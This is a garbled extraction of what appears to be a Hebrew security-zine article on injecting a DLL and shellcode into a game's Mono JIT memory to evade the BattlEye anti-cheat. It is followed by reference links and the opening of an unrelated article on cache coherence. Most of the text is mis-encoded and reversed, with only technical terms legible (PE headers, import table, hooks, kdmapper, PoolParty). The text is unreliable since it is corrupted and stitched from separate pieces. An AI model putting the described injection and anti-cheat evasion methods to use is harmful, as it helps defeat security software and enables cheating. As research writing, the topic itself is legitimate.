˷ ˭ˣ˷˞˶ˢ ˶˦ˬ˶˲ˢ ˶ˣ˸˟ ˢ˸ˣ˞-mono_code_manager_reserve  .˪˟˵ˬ 

 ˶ˠˣ˞ˢ ˪˷ ˨˶˰ˢ ˸˞ ˶ˣˬ˷˪ ˪˩ˣˮ ˢ˟ ˸˟ˣ˸˩ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ ,˱ˣ˯˟˪ˣr10 ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˶ˣˬ˷˧˷-Code 

chunk ˣˮ˪˷ ˭ˣ˷˞˶ˢ. ˢ ˪˷ ˧ˣ˲˧ˬˢ ˪˧˥˸˧ ˭˩˧ˢ ˸˰ˡ˪ ˪˧˟˷˟ ˣˤˢ ˸˟ˣ˸˩ˢ ˸˞ ˞˶˵ˮ ,˭˩ˬ ˶˥˞˪-DLL 

ˣˮ˪˷ ˧ˮˣˡˤˢ: 

 

 ˢ˶ˣ˴˟ ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˪˩ˣˮ ˸˰˩:ˢ˞˟ˢ 

 

ˢ ˫˰ ˫˰˲ˢ ˵˶ ,˸˧ˮ˷ ˵ˣ˥˶ˬ ˡˣ˵ ˳˧˶ˢ˪ ˭˸˧ˮ ˣ˧˷˩˰-shellcode :ˣˮ˪˷ ˷ˡ˥ˢ 
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ˢ ˸˞ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˢ˴˶ˢ ˶˥˞˪-Code chunks :ˣˮ˶˴˧ ˫˸ˣ˞ ˫˧˷ˡ˥ˢ 

 

 ˳˟ˣ˵ ˵˧˶ˤˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˶˞˷ˮ˷ ˧ˡ˧˥˧ˢ ˶˟ˡˢ ˸˰˩DLL  ˳˟ˣ˵ ˭ˣ˰˦˪ ˢˤ ˶ˬˣ˞ ˢˤ˷ ˢˬ ˪˩ ˪˰ˣ˲˟ ,ˢˬˡ

DLL ˮ˪˷ ˢˮ˩ˣ˸ˢ ˪˷ ˧ˬˣ˵ˬˢ ˭ˣ˶˩˧ˤ˪˟ ˫˧˶˟ˡ ˭˵˸˪ ,ˣ-PE Headers  ˣˬ˩relocations ˢ ˸˞ ˞ˣ˴ˬ˪ˣ-Entry 

point ˢ ˸˶ˤ˰˟-PE˞ˣ˶˵˪ ˢ˴˶ˮ ˢ˧˪˞ ˢˮˣ˷˞˶ˢ ˢ˧˴˵ˮˣ˲ˢ ˢˬ ˰ˡˮ˷ ˪˧˟˷˟ ,: 
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ˢˮˣˬ˸˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩, ˢ ˳˟ˣ˵ ˸˞ ˭˰˦ˮ ˪˩ ˫ˡˣ˵ ˣˮ˥ˮ˞-DLL ˸˧˪˞˵ˣ˪.  ˪˩ ˶ˣ˟˰ ˧ˣ˲˧ˬ ˶ˣ˴˧ˮ ˭˩ˬ ˶˥˞˪

-sSections ˳˟ˣ˵˟ ˫˧˞˴ˬˮ˷,  ˪˩ ˪˷ ˫˧ˬˣ˵˧ˬˢ ˸˞ ˸ˣ˲ˬ˪ ˪˧˟˷˟Section  ˸˧˪˞ˣ˦˶˧ˣˣˢ ˸˟ˣ˸˩˟

ˣ˪˷ ˸ˬ˞ˣ˸ˢ: 

 

 ˪˩ˣˮ ,˱ˣ˯˟˪ˣ .˸˧˪˞˵ˣ˪ ˫˸ˣ˞ ˭˵˸˪ ˸ˮˬ ˪˰ ˧˶˞ˮ˧˟ˢ ˳˟ˣ˵˟ ˷˧˷ ˸ˣ˧˴˞˵ˣ˪˧˶ˢ ˪˩ ˪˰ ˶ˣ˟˰ˮ ˭˩ˬ ˶˥˞˪

ˢ ˸˞ ˵ˣ˥ˬ˪-PE Header  ˟ˣ˸˩ˮ .˵˥˷ˬˢ ˭ˣ˶˩˧ˤ˟ ˸ˣ˶ˤˣˬ ˸ˣ˟˵˰ ˶˧˞˷˧ ˵˶ˣ ,˶˸ˣ˧ ˳ˣ˥ˮ ˞˪ ˞ˣˢ˷ ˫ˣ˷ˬ

˪˩ ˸˞ ˢ ˸˪˧˥˸˪ ˭˵ˣ˸ˬˢ ˧˶˞ˮ˧˟ˢ ˭˩ˣ˸-Code chunks :˧ˮ˲˪ ˣˮ˴˵˪˧˞˷ 

 

˪ ˞ˣ˶˵˪ ˣˮ˪ ˶˞˷ˮ ˣ˧˷˩˰-Entry point :ˣˮ˧˲˧ˬ˷ 

 

 ˶ˣ˴˧ˮ ˣ˞ˣ˟ ˣ˧˷˩˰DLL ˭˰˦ˮ ˣ˸ˣ˞ ˶˷˞ ˢˬˡ. ˢ˧ˢ˸ ˢ ˢ˧ˢ˸˷ ˸ˡˡˣ˟ ˢ˧˴˵ˮˣ˲ ˣ˟-Entry point ˢˬ ˪˩ˣ ,

 ˸˞ ˳˧˶ˢ˪ ˢˤ ˢ˷˰˸ ˞˧ˢ˷ˢ˞˶ˣˢˢ int 3 ˷ ˞ˡˣˣˮ ˫˰˲ ˟ˣ˷ ,˭˟ˣˬ˩ˣ ,ˢ˪˥˸ˢ˟ ˣˮ˧˯˧ˮ˷ ˣˬ˩-WinDbg 

.˷ˣˬ˧˷˟ ˢ ˸˞ ˪˲ˬ˵˪ ˪˩ˣˮ-DLL  ˶˪˧˧˲ˬˣ˵ˢ ˸˶ˤ˰˟ClangΣ ˟ ˷ˣˬ˧˷ ˶˷˲˞ˬ ˞ˣˢ˷ ˫ˣ˷ˬ-Inline 

assembly  ˸˶ˣ˦˵˦˧˩˶˞ ˶ˣ˟˰ ˪ˣ˲ˬ˧˵˟ ˫ˠx86_64Σ  ˶˪˧˧˲ˬˣ˵ˢ ˸ˬˣ˰˪MSVC  ˪˷Windows: 
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ˣ˸ˣ˞ ˳˧˶ˮ ˣ˞ˣ˟ ,ˣ˧˷˩˰ ,ˣˮ˪˷ ˡˣ˵ˢ ˢ˞˶˧ ˨˩: 

 

 ˫˧˴˧˶ˬ ˣˮ˥ˮ˞ ,ˢ˲ˣ˴˷ ˧˲˩int 3 x-ret .˭˩ˬ ˶˥˞˪ ˸ˣ˶˧˷˧ 

ˢ ˪˷ ˭ˣ˵˧˸ ˞ˣˢ ˶˯˥˷ ˧ˡ˧˥˧ˢ ˶˟ˡˢ .ˡ˟ˣ˰ ˪˩ˢ !˟˧ˮˠˬ ˤ˞-Import address table ˢ ˳˟ˣ˵ ˪˷-PE. 

ˢˤ ˶ˣ˟˰ ˡˣ˵ ˱˧˯ˣˢ˪ ˞˪˷ ˧˸˦˪˥ˢ, ˢ˞ ˣˮ˵˥ˬ ,˫˧˶˩ˣˤ ˫˸˞ ˫˞˷ ˫ˣ˷ˬ-PE header  ˭ˬˤ˟ ˭ˣ˶˩˧ˤˢˬ

ˢ ˧ˣ˲˧ˬ ˨˧˪ˢ˸-,DLL ˪ ˞˪ ˸ˮˬ ˪˰ ˭˸˧ˮ˷ ˫ˣ˷ˬ ˢ˧˰˟ ˢˣˣˢˬ ˞˪ ˶˟ˡˢ .ˢˮ˩ˣ˸ˢ ˭ˣ˶˩˧ˤ˟ ˸ˣ˟˵˰ ˶˧˞˷ˢ

˟ ˸ˣ˧˴˵ˮˣ˲ ˭˸ˣ˞ ˸˞ ˞˴ˣˬ ˧ˬ˞ˮ˧ˡ ˭˲ˣ˞˟˷ ˡˣ˵ ˟ˣ˸˩˪-Export address table  ˪˷DLL- ˫˧ˮˣ˰˦˷ ˫˧˶˥˞ ˫˧

.˨˧˪ˢ˸˟ 
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 ˪ˣˬ ˢ˴˶ˢBattleye 

 ˶˷˞˩ ˫ˠ ˸ˡ˟ˣ˰ ˢˮ˩ˣ˸ˢ˷ ˸ˣ˪ˠ˪ˣ ˵ˣˡ˟˪ ˭˸˧ˮ ˸˰˩Battleye ˵˥˷ˬˢ ˡ˴˪ ˳˶: 

 

˧˲˩ ˷ ˨˧˪ˢ˸ˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷-Battleye  ˫˷ˢ ˸˥˸ ˶˴ˣ˧EscapeFromTarkov_BE.exe  ˪˩ˣ ,˰˵˶˟ ˳˶

˸˞˧˶˵˪ ˸ˣ˷˵˟ˢ/ˢ ˸ˬ˶˟ ˭ˣ˶˩˧ˤˢ ˸˟˧˸˩-Usermode ˢ ,˸˞ˤ ˫˰ .˸ˣˡ˟ˣ˰ ˞˪-MessageBox ˢ˷-DLL 

!˵˥˷ˬˢ ˪˷ ˡˣ˵ˢ ˶˞˷ ˭˧˟ ˣˢ˷˲˧˞ ˞˟˥ˣˬ ˡˣ˵ˢˣ ,˸ˣ˧˰˟ ˫ˣ˷ ˧˪˟ ˡ˟ˣ˰ ˳˧˶ˬˣ ˵˧˶ˤˬ ˧˪˷ 

 

ˣ˷˰˪ ˭˸˧ˮ ˢˬ?ˣˤˢ ˢ˦˧˷ˢˬ ˭ˠˢ˪ ˧ˡ˩˟ ˸ 

 ˸˶ˤ˰˟ ,˸˧˷˞˶Hook- ˸ˬ˞˟ ˶˷˞ ˡˣ˵ ˶˥˞ ˟˵˰ˬ ˰˴˟˪ ˸˪ˠˣ˯ˬ ˢˮˠˢˢ ˸ˮ˩ˣ˸ ,˫˧ˮˣ˩ˮˢ ˸ˣˬˣ˵ˬ˟ ˫˧

ˢ ˰ˣˮˬ ˧ˡ˧ ˪˰ ˶˴ˣˮ-JIT˰ˣˮˬˢ ˭ˬ ˰˟ˮ ˣˮ˧˞˷ ˡˣ˵ ˭ˮ˯˪ ˨˩˟ˣ ,. ˸˞ˤ ˫˰,  ˶˧˟˯ ˷˧˥˶˸ ˣˮ˧˞ ˢ˞˶ˮ˩ ˶˟ˡˢ

 ˸˧˸ˣ˰ˬ˷ˬ ˢ˥˧ˮ˴˪ ˫ˣ˶ˠ˪ ˪˩ˣ˸ ˣˤ˩˷ ˟˵˰ˬ ˸˩˶˰ˬ ˸˲˯ˣˢ .˰ˣˮˬˢ ˸ˣ˧˴˵ˮˣ˲ ˪˪˩˟ ˳ˣ˲ˮˢ ˷ˣˬ˧˷ˢ ˟ˣ˶ˬ

˵˥˷ˬˢ ˧˰ˣ˴˧˟˟, .˶˸ˣ˧˟ ˧ˮˡ˲˵ ˭˲ˣ˞˟ ˸˥˸ˣ˲ˬ ˢˮ˧˞ˣ ˢˡ˧ˬ˟ 

˸ˬ˧˧˵ ,˵˥˷ˬˢ ˸˞ ˢ˴˧˶ˬ˷ ˢˮˣ˩ˬ ˪˩ ˶ˣ˟˰ ˢˢˤ ˡˣ˵ ˶ˡˢ˧ ˰ˣˮˬˢ ˣ˟ ˟˴ˬ˪ ˰˧ˠˢ˪ ˭˸˧ˮˣ ˢˡ˧ˬ˟ ,˸˧ˮ˷ 

 ˵˥˷ˬ˪ ˨˧˧˷ ˣˮ˧˞ ˶˷˞ ˡˣ˵ ˸ˣˢˤ˪ ˸ˣ˶˷˲˞-  ˰ˣˮˬ ˷ˣˬ˧˷˟ ˧˸ˣ˰ˬ˷ˬ ˭ˣ˶˸˧ ˡˣ˟˧˞˪ ˫ˣ˶ˠ˧ ˶˟ˡˢ ˨˞

 ˠˣ˯ˬ ˢ˴˶ˢJIT .˟˷˥ˬˢ ˸˶ˬˣ˥˟ ˧ˣ˪˸˷ ˡˣ˵ ˪ˣ˰˧˧ ˶˷˲˞ˬ ˶˷˞ 
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ˢ ˡˣ˵ˢ ˶˥˞˪ ˟ˣ˵˰˪ ˭˸˧ˮ ,˱˯ˣˮ˟-Native ˢ ˰ˣˮˬ ˶˷˞-JIT  ˯ˣ˲ˡ ˪˰˟ ˞ˣˢ ,˪˩ˢ ˨˯˟˷ ˸ˣ˪ˠ˪ˣ ,˶˴ˣ˧

 ˣ˟ˣ˶ .˷˞˶ˬ ˸ˣˤ˥˪ ˪˵ ˸˧˯˥˧˷˪˷ ˦˪˥ˣˬˢ ˡˣ˵ˢ  ˶˲˯ˬˬ ˟˩˶ˣˬ˸ˣ˞˶ˣˢ  ˫˸ˣ˞˟ ˟ˣ˶˪ ˷ˬ˸˷ˬˣ ,˸ˣˡˡˣ˟

˸ˣˮˣ˷ ˸ˣ˪ˣ˰˲ ˶ˣ˟˰ ˫˧˶ˠˣ˞ˢ: 

 

 ˶ˠˣ˞˟ ˷ˣˬ˧˷ˢ ˢˮ˧ˢ ˢ˟ˣ˦ ˞ˬˠˣˡr11 ˢ ˸ˣ˪ˣ˰˲ ˶ˣ˟˰-call  ˞˪ ,ˡ˵ˣˬˬ ˷ˣ˲˧˥ ˶˥˞˪ ˫ˠ .ˡˣ˵ˢ ˰˴˟ˬ˷

 ˢ˧ˢ˧ ˶˟ˡˢ ,˸˞ˤ ˫˰ .ˢ˞˧˶˵ ˶ˣ˟˰ ˶˥˞ ˶ˠˣ˞˟ ˷ˬ˸˷ˬ˷ ˶˴˧ ˰ˣˮˬˢ˷ ˡˣ˵ ˫ˣ˷ ˞ˣ˴ˬ˪ ˧˸˥˪˴ˢ ˡˣ˞ˬ ˪˵

 ˣˬ˩ ˶˪˧˧˲ˬˣ˵˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ,˱˵ˣ˸ ˶ˣ˟˰ ˢ˲˧˵˰˪Clang  ˫˧˧ˮ˧˟ˢ ˸˲˷˟ ˡˣ˵ ˶˴˧˧ˬ˷LLVM IR ˶˥˞˪˷ ,

 ˶ˣ˟˰˧ ˭˩ˬPass- ˫˧˧˧˦ˮˣˣ˪˶,˫  ˷ˣˬ˧˷ ˪˩˷ ˨˩˪ ˣˬ˶ˠ˧ ˶˷˞˸˞˶ˣˢ˟ call  ˶ˠˣ˞˟ ˷ˬ˸˷ˢ˪ ˨˶˦˴˸r11 

 .(˞ˬˠˣˡ˪) ˸˟ˣ˸˩ ˶ˣ˸˟ 
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 ˢ˷˵ˣ ,˭ˢ˧˪˰ ˧˸˟˷˥˷ ˫˧˩˶ˡˢˬ ˢˬ˩ ˵˶ ˣ˪˞ ,ˢ˶˵ˬ ˪˩˟ ˪˪ˠ˟ ˶˵˧˰˟ ,˷ˣˬ˧˷˪ ˭˸ˣ˞ ˣ˯˧ˮ˩˧˷ ˭˧ˬ˞ˢ˪ ˧˪

 ˭˸ˣ˞ˬ ˵ˣˬ˥˪ ˢ˯ˣˮˬ ˱˵ˣ˸˪ ˥˵˧˸˷ ˢ˩ˣˬˮˢ ˭ˬˤˢ ˸ˣˬ˩ ˸ˬˣ˰˪ ,˫˧ˮˠˬˢ ˶ˣ˟˰ ˧˰ˣ˴˧˟ˢ ˣ˞ ˧˥ˣ˸˧˲ˢ ˧˷ˣ˵ˢ

.˷ˡ˥ˬ ˸ˣˮˠˢ 

 ˸ˣ˵ˬ˥˸ˢ ˸ˣ˦˧˷˟ ˨˶ˣ˴ ˫ˣ˷ˬ ˱˵ˣ˸ ˱˞ ˸˶˸ˣ˲ ˞˪ ˡ˰˧ˢ ˪˞ ˡˣ˵ ˸˵˶ˤˢ ˧˩ ˶ˣ˩ˤ˪ ˟ˣ˷˥ ,˸˞ˤ ˫˰

˟˧ ˭˧˧ˡ˰ ˢˮˠˢˢ ˸ˣˮ˩ˣ˸ .˸ˣ˲˯ˣˮˢ ˪˷ ˢˮˬ˦ˢ ˣ˰˴-Hook- ,ˡˣ˷˥ ˭ˣ˶˩˧ˤ ˪˷ ˸ˣ˧˯˧˯˟ ˸ˣ˵˧ˡ˟ ,˫ˢ˪˷ ˫˧

.ˡˣ˰ˣ 

 

˫ˣ˩˧˯ 

˧˦ˮ˞ ˣ˞ ,˫˧˵˥˷ˬ ˶ˣ˟˰ ˣ˪˞˩˟ ˶˟ˣˡˬ ˫˞ ˭˧˟ ,ˢˮˠˢ ˸ˣˮ˩ˣ˸- ˸ˣˮ˩ˣ˸ˣ ˫˧˯ˣ˶˧ˣEDR  ˡ˧ˬ˸ ˞˪ ,˭ˢ˧ˮ˧ˬ˪

 ˸ˣ˪˟ˠˬˢ ˪˷ ˢ˵ˣˬ˰ ˢˮ˟ˢ ,˫ˣ˧ ˪˷ ˣ˲ˣ˯˟ .˸ˣ˴˶ ˭ˢ˟ ˸ˣ˟˧˟˯˟ ,˵˧˲˯ˬ ˟˷˥˸ˢ˪ ˸ˣ˪ˣ˩˧ ˣ˞ ,˸ˣ˟˷˥˸ˬ

 ˧˸˶˟˧ˡ ˞˪ .ˢˮˣ˸ˮ ˸˩˶˰ˬ ˪˩ ˥˸ˮ˪ˣ ˱ˣ˵˰˪ ˸ˣ˧˸˶˧˴˧ ˸ˣ˦˧˷˪ ˪˧˟ˣˢ˪ ˢ˪ˣ˪˰ ,˸ˣˡˡˣˬ˸ˬ ˸ˣˮ˩ˣ˸ˢ ˭˸˧˞

,ˣˬ˴˰ ˫˪˷ˬ ˫˪˷ ˶ˬ˞ˬ ˨˩ ˪˰ ˟ˣ˸˩˪ ˭˸˧ˮ˷ ˫ˣ˷ˬ ,˶ˬ˞ˬˢ ˨˶ˣ˞˪ ˨˩ ˪˰  ˪˷ ˨˷ˣˬˬ ˶˵˥ˬ ˶˥˞˪ ˨˞

 ˸ˣˮˠˢBattleye  ˸ˣˡˣ˷˥ ˸ˣ˧ˣˠˢˮ˸ˢ ˷˲˥ˬ ˶˷˞ ˡˣ˵ ˣ˞ ,˸˶˷˪ ˥˪˷ˮ˷ ˥ˣˣ˧ˡ ˫ˣ˷ ˧˸˧˞˶ ˞˪ ,˵˥˷ˬ˟

.ˢ˦˧˷˪ ˸ˣ˶ˣ˷˵˷ 

 ,˶˵˥ˬˢ ˨˶ˣ˞˪ ˧˪ ˣ˶ˤ˰˷ ˸ˣ˧˦ˮ˶˦ˮ˧˞ ˸ˣ˪˧ˢ˵ˬ ˫˧˶˟˥ ˧ˮ˷˪ ˸ˣˡˣˢ˪ ˥ˬ˷˞tr1x x-kert. 

 

˶˟˥ˬˢ ˪˰ 

 ˭˟ ,˧˶˦ ˪˞˧˶˞ ˧ˬ˷мф  ˶˸ˣ˧ ˧ˮ˞ˣ ,˧˸˟˸˩˷ ˭ˣ˷˞˶ˢ ˶ˬ˞ˬˢ ˣˢˤ .˪"ˢ˴˟ ˸˧ˠˣ˪ˣˮ˩˦ ˢˡ˧˥˧˟ ˸˶˷ˬˣ

 ˣ˧˪˰ ˵˟ˡ˧˲ ˪˩ ˰ˣˬ˷˪ˣ ˭ˣˡ˪ ,˸ˣ˪˞˷ ˪˰ ˸ˣˮ˰˪ ˥ˬ˷˞ˬ˶˦˧ˣˣ˦˟ ˟ ˣ˞˭˧˞ˡ˵ˮ˧˪!˫˸˧ˮˢˮ˷ ˢˣˣ˵ˬ . 

https://github.com/iam-tr1x
https://github.com/vkerty
https://x.com/krispied_
https://www.linkedin.com/in/ariel-terry
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˰ˡ˧ˬ ˸ˣ˶ˣ˵ˬ 

¶ https://digitalwhisper.co.il/files/Zines/0xA3/DW163-1-BYOVD.pdf 

¶ https://github.com/TheCruZ/kdmapper 

¶ https://loldrivers.io 

¶ https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-

obregistercallbacks 

¶ https://discussions.unity.com/t/mono-vs-il2cpp/703013 

¶ https://github.com/mono/mono 

¶ https://www.youtube.com/watch?v=d7KHAVaX_Rs 

¶ https://www.unknowncheats.me/forum/escape-from-tarkov/481919-battleyent-play-

offline-raids-battleye-live-version.html 

¶ https://github.com/mostdefinitelynotnth/battleyent 

¶ https://processhacker.sourceforge.io/downloads.php 

¶ https://github.com/NationalSecurityAgency/ghidra 

¶ https://docs.unity.com/ugs/manual/cloud-diagnostics-

advanced/manual/ConnectToSymbolServers 

¶ https://github.com/SafeBreach-Labs/PoolParty 

¶ https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/ 

¶ https://defuse.ca/online-x86-assembler.htm 

 
  

https://digitalwhisper.co.il/files/Zines/0xA3/DW163-1-BYOVD.pdf
https://github.com/TheCruZ/kdmapper
https://loldrivers.io/
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks
https://discussions.unity.com/t/mono-vs-il2cpp/703013
https://github.com/mono/mono
https://www.youtube.com/watch?v=d7KHAVaX_Rs
https://www.unknowncheats.me/forum/escape-from-tarkov/481919-battleyent-play-offline-raids-battleye-live-version.html
https://www.unknowncheats.me/forum/escape-from-tarkov/481919-battleyent-play-offline-raids-battleye-live-version.html
https://github.com/mostdefinitelynotnth/battleyent
https://processhacker.sourceforge.io/downloads.php
https://github.com/NationalSecurityAgency/ghidra
https://docs.unity.com/ugs/manual/cloud-diagnostics-advanced/manual/ConnectToSymbolServers
https://docs.unity.com/ugs/manual/cloud-diagnostics-advanced/manual/ConnectToSymbolServers
https://github.com/SafeBreach-Labs/PoolParty
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
https://defuse.ca/online-x86-assembler.htm
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Cache Coherence 

˸˞ˬ  ˪˞˩˧ˬ˭˧˦˧˪˷ 

 

 ˢˬˡ˵ˢ 

 ˶ˣ˲˧˷˪ ˫ˣ˶ˠ˪ ˸ˣ˯ˮˬ ˫˧ˡ˟˰ˬ ˸ˣ˶ˣ˦˵˦˧˩˶˞ ˫˧ˮˣ˶˥˞ˢ ˫˧˶ˣ˷˰˟ ˟ˣ˷˥ˬˢ ˪˷ ˸ˣ˥˸˲˸ˢ ˸ˣ˟˵˰˟

 ˸˲˯ˣˢ ,˫˧ˡ˟˰ˬ˪ ˫˧˟˧˩˶ ˸˲˯ˣˢ ˣˬ˩ ˸ˣˮˣ˷ ˫˧˩˶ˡ ˧ˮ˧ˬ ˪˩˟ ˫˧ˡ˟˰ˬ˟ ˫˧˰ˣ˴˧˟cache-.˫˧ˡ˟˰ˬ ˧ˣ˟˧˶ˣ ˫˧ 

˫ˠ ˢˤ ˟ˣ˶˪ ˤ˞ ˣˮ˪ ˞˴ˣ˧ ˭˩ ˫˞ˣ ˪˪˩˟ ˢˤ ˪˰ ˫˧˟˷ˣ˥ ˞˪ˣ ˢ˪˞ ˪˩ˬ ˫˧ˬ˪˰˸ˬ ˦ˣ˷˲ ˣˮ˥ˮ˞ ˟ˣ˶˪  ˢ˶ˣ˴˟ ˵˶

 ˡˣ˞ˬhigh-level- ˣˬ˩ ˣˮ˪˧˟˷˟ ˣ˶˴˧ ˫˧˶˥˞˷ ˸ˣ˲˧˦˰˟ ˫˧˷ˬ˸˷ˬ ˣˮ˥ˮ˞ˣ ˢ˶ˣ˵ ˢˬ ˭˧˟ˢ˪ ˸ˬ˞˟ ˧˪˟ ˸˧

.˫˧ˬ˧˧˵ ˭ˣ˶˩ˮ˯ ˧ˮˣˠˮˬˣ ˸ˣ˧˶˲˯  ˵˧˲˯ˬ ˢ˶ˣ˴˟ ˡˣ˟˰˪ ˫˩˪ ˞˴ˣ˧ ˫˞ ˪˟˞low-level- ˸˴˵ ˫˸˯ˮ˩ˮ˷ ˣ˞ ˸˧

 ˢ˶ˣ˴˟ ˢˤ ˪˰ ˟ˣ˷˥˪ ˵˧˲˯ˬ ˡ˧ˬ˸ ˞˪ ˢˤ ˶˟˩ ˤ˞ ˪ˮ˶˵˪high-level-˷˧ˣ ˸˧  ˢ˶ˣ˵ ˢˬ ˭˧˟ˢ˪ ˧˸˧ˬ˞ ˨˶ˣ˴

.˫˸˧˞ ˫˧ˡˡˣˬ˸ˬ ˨˧˞ˣ ˸ˣ˶˵˪ ˸ˣ˪ˣ˩˧ ˸ˣ˧˰˟ ˢˤ˧˞ˣ 

 ˪˰ ˶˟˯ˢ˟ ˢ˶ˡ˯ˢ ˸˞ ˪˧˥˸ˮˣ ˢˤˢ ˫˪ˣ˰ˢ ˪˞ ˶˴˵ ˞ˣ˟ˬ ˠ˧˴ˢ˪ ˨˪ˣˢ ˧ˮ˞ ˸˞ˤˢ ˫˧˶ˬ˞ˬˢ ˸˶ˡ˯˟

 ˳ˣ˶˪ ˣˮ˪˷ ˡˣ˵˪ ˫ˣ˶ˠ˪ ˸ˣ˪ˣ˩˧˷ ˧ˣ˟˧˶ ˣˬ˩ ˫ˣ˧ˢ ˸ˣˬ˧˧˵˷ ˸ˣˬ˧˧ˣ˯ˬ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞out-of-order  ˢˤ ˧˶˥˞ˣ

.˭ˣ˶˩˧ˤ ˧˪ˡˣˬˣ ˭ˣ˶˩˧ˤ ˧ˬˣ˯˥ˬ ˣˬ˩ ˣ˪˞ˢ ˸ˣ˧˰˟ˢ ˫˰ ˡˡˣˬ˸ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˫ˢ˟˷ ˫˧˩˶ˡ ˢ˞˶ˮ 

 ˫ˢ˧ˮ˧˟ˣ ˫˧ˡ˟˰ˬ˟ ˫˧˰ˣ˴˧˟ ˶ˣ˲˧˷˪ ˸ˣ˷˰ˮ˷ ˫ˣ˧ˢ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˧ˮ˧ˬ ˪˩ ˷˧ ˫ˡˣ˵ ˶˩ˤˣˢ˷ ˣˬ˩cache- ˫˧

ˣ˟ ˸ˣ˪ˣ˰˲˟ ˢ˩˧ˬ˸ˣ- ˧ˣ˟˧˶ˣ ˸ˣ˟˧˪ ˧ˣ˟˧˶ ˧ˡ˧ ˪˰ ˸˧ˮˬˤthread-.˫˧ ˪ˣ˰ ˭˞˩ˬ ˭˧˟ ˶ˣ˟˧˥ ˪˷ ˟ˣ˷˥ ˨˶ˣ˴ ˢ

 ˡˣ˟˰˪ ˫˧ˮˣ˷ˢ ˫˧˟˧˩˶ˢˣ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ˢ ˪˩˪ ˫˧ˬ˶ˣˠ ˨˧˞ ?ˢˤ ˸˞ ˫˧˷ˣ˰ ˨˧˞ ˪˟˞ ,ˣ˪˞ˢ ˸ˣ˵˧ˮ˩˦ˢ

?ˡ˥˧˟ 

 ˪˧˥˸ˮ :˫˧˞˷ˣˮ ˶˲˯ˬ ˪˷ ˡˣˬ˧˪ ˧ˡ˧ ˪˰ ˢˤ ˸˞ ˢ˷˰ˮˣ ˢˤˢ ˫˪ˣ˰˪ ˞ˣ˟ˬ ˸˸˪ ˢ˯ˮ˧ ˟ˣ˶˵ˢ ˶ˬ˞ˬˢ

 ˪˰ ˸˧˪˪˩ ˢ˶˧˵˯ˬcache  ˸ˣ˧˦ˮ˶ˢˣ˵˪ ˶ˣ˟˰ˮ ˭˩ˬ ˶˥˞˪cache x ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ ˶ˣˬ˷˪ ˶ˬˣ˞ ˢˤ ˢˬ ˭˧˟ˮ

 ˢ˶ˣ˴˟ ˦ˣ˪˷˪ ˢ˷˧ˠ ˣˮ˪ ˸ˣˮ˸ˣˮ ˸ˣ˶ˣ˦˵˦˧˩˶˞ˢ ˫ˢ˟˷ ˫˧˩˶ˡ ˢ˞˶ˮˣ ˷ˣ˪ˠˮ ˫˷ˬ ,˫˧ˮ˶ˡˣˬ ˫˧˟˷˥ˬ˟

˟ ˸ˬ˧˧ˣ˯ˬ-cache ˸ˣˮˣ˧˰˶ˢ ˸˞ ˭˧˟ˮ ˸˞ˤˢ ˢ˶ˣ˴˟ˣ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲˪ ˢˬˠˣˡ ˢ˞˶ˮ ˢ˪˞ ˪˩ ˶˥˞˪ ,

 ˫˰ ˫˧˧˯ˮˣ ˶˸ˣ˧ ˢ˶˧ˢ˟ ˢ˶ˣ˴˟Multi-copy atomicity  ˫˧˪ˣ˩˧˷ ˫˧˶ˤˣˬ ˫˧˶˵ˬ ˧ˮ˧ˬ ˪˩ ˸ˣ˞˶˪ ˪˩ˣˮ ˣ˩˶ˡ˷

.˸ˣ˧˦ˮ˶ˢˣ˵ ˪˷ ˫˧ˮˣ˷ ˫˧ˠˣ˯˟ ˸ˣ˶˵˪ 
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 ˸ˣ˧˦ˮ˶ˢˣ˵˟ ˪˷ ˫˧˶ˠ˸˞ˢ ˪˷ ˢ˵˧ˬ˰ˬ ˢˮ˟ˢ ˞˶ˣ˵˪ ˵˲˯˸ ˣˤ ˢ˷˧ˠcache ˡ˴˧˩ ˨˧˶˰ˢ˪ ˶˷˲˞˸ˣ ,

ˣ˸ ,˸ˣ˟˧˪ ˸ˣ˟ˣ˶ˬ ˸ˣ˩˶˰ˬ˟ ˡˣ˟˧˰ˢ ˧˩˧˪ˢ˸ ˸˞ ˪˰˧˧˪ ˫˧˰˧˧˯ˬ ˫˧ˮˣ˷ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˣ ˫˧˧ˠˣ˪ˣˮ˩˦ ˸ˣˮˣ˶˸˲ ˨

.˰ˡ˧ˬˢ ˸ˣˮ˧ˬ˞ˣ ˵ˣ˧ˡ ˪˰ ˢ˶˧ˬ˷ 

:ˢ˶˰ˢ  ˸ˣ˧ˣ˰˦ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˤ˞ ˧ˬˡ˵˞ ˰˵˶ ˧˪ ˭˧˞ˣ ˢˮˣˣ˩ˢ ˪˩ ˞˪˪ ˦ˮ˶˦ˮ˧˞˟ ˧˸ˡˬ˪ ˢˤˢ ˶ˬˣ˥ˢ ˪˩

 ˥ˬ˷˞ ˧ˮ˞ ˸ˣ˧˰˦ ˫˧˞ˣ˶ ˫˸˞ ˫˞ ˤ˞ ˧ˮˬˬ ˶˸ˣ˧ ˫˧ˮ˧˟ˬ˷ ˭˧ˤˠˬ˟ ˫˧˞˶ˣ˵ ˭˞˩ ˷˧˷ ˥˧ˮˬ ˧ˮ˞ˣ ˣˬ˴˰ ˶ˬ˞ˬ˟

